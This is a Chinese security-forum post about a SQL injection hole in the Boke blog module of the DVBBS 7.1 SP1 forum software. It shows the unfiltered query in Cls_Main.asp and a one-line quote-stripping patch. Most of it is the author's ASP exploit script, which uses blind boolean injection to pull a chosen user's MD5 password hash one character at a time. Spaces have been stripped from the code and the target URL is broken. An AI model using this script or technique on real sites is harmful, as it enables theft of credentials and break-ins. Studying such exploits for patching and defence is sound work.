作者:execsl
信息来源:邪恶八进制信息安全团队()
刚才在《安全公告》版看到:
动网论坛(DVBBSV7.1SP1)Boke安全更新补丁20060302
信息来源:邪恶八进制信息安全团队()
补丁来源:[Bug.Center.Team-漏洞预警中心小组]
补丁名称:动网论坛(DVBBSV7.1SP1)Boke安全更新补丁20060302
详细说明:
该补丁为[Bug.Center.Team-漏洞预警中心小组]发布,针对DVBBSV7.1SP1Boke程序的安全漏洞所制作的安全更新补丁,压缩包内存在ACCESS和MS_SQL两个版本,因程序影响面广,所以公布安全更新,请使用该版本的用户及时下载或者停止Boke服务,等待官方补丁发布.
Boke程度当中的Cls_Main.asp存在严重的安全漏洞,致使恶意用户可以远程注射网站。DVBBS官方已经更新其漏洞,但没见发布安全补丁。所以此为非官方发布版本。
如有问题,请访问[Bug.Center.Team-漏洞预警中心小组]官方网站咨询。
就自己下载安装DVBBSV7.1SP1
对应一下发现只是在Cls_Main.asp中加入了一句:ArchiveLink=Replace(ArchiveLink,"'","")
ArchiveLink中可提取出BokeName的值
如果不过滤“'”,将会在205行产生注入漏洞,具体代码为
Sql="SelectUserID,UserName,NickName,BokeName,PassWord,BokeTitle,BokeChildTitle,BokeNote,JoinBokeTime,PageView,TopicNum,FavNum,PhotoNum,PostNum,TodayNum,Trackbacks,SpaceSize,XmlData,SysCatID,BokeSetting,LastUpTime,SkinID,Stats,S.S_SkinName,S.S_Path,S.S_ViewPic,S.S_Info,S.S_BuilderFrom[Dv_Boke_User]UInnerJoin[Dv_Boke_Skins]SOnU.SkinID=S.S_ID"
Sql=Lcase(Sql)
IfBokeName<>""Then
Sql=Sql&"whereBokeName='"&BokeName&"'"
ElseIfBokeUserID>0Then
Sql=Sql&"whereUserID="&BokeUserID
Else
'请选取相关的DVBOKE,返回综合列表
ExitSub
EndIf
自己就写了一段ASP代码,自动获得MD5密码,水平有限,高手勿笑。
<br><br>
<br><br>
<br><br>
<center>
<divalign='left'style="width:500px;font-size:12px;">
<%
'==================================================
'
'请将修改为有漏洞的URL
'将admin改为您要读取密码的用户ID
'
'==================================================
Server.ScriptTimeout=300
Response.Buffer=True
Dimhehefulsh
Dimcharhex,OpenURL,templen,tempstr,newgetlen,theoffset,theURL,TheUser
Sethehefulsh=CreateObject("Microsoft.XMLHTTP")
charhex=Split("0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f",",")
tempstr=""
fortotal=0to15
fortheoffset=0to15
templen=0
OpenURL=""&tempstr&charhex(theoffset)&"'=left(password,"&total+1&")and''='.index.html.index.html"
hehefulsh.Open"Get",OpenURL,False,"",""
hehefulsh.Send
GetPage=BytesToBstr(hehefulsh.ResponseBody)
IfInStr(GetPage,"该博客用户不存在或填写的资料有误!")=0Then
tempstr=tempstr&charhex(theoffset)
response.write"前"&total+1&"位MD5值为:"&tempstr&"其他密码正在读取中,请等待。。。<BR>"
Response.Flush
Exitfor
Endif
Next
Next
response.write"<br><br><br>成功读取密码的MD5值,为:"&tempstr&"<BR><BR><BR>请不要使用本程序进行破坏行为!"
Sethehefulsh=Nothing
FunctionBytesToBstr(body)
dimobjstream
setobjstream=Server.CreateObject("adodb.stream")
objstream.Type=1
objstream.Mode=3
objstream.Open
objstream.Writebody
objstream.Position=0
objstream.Type=2
objstream.Charset="GB2312"
BytesToBstr=objstream.ReadText
objstream.Close
setobjstream=nothing
EndFunction
%>
</div>
</center>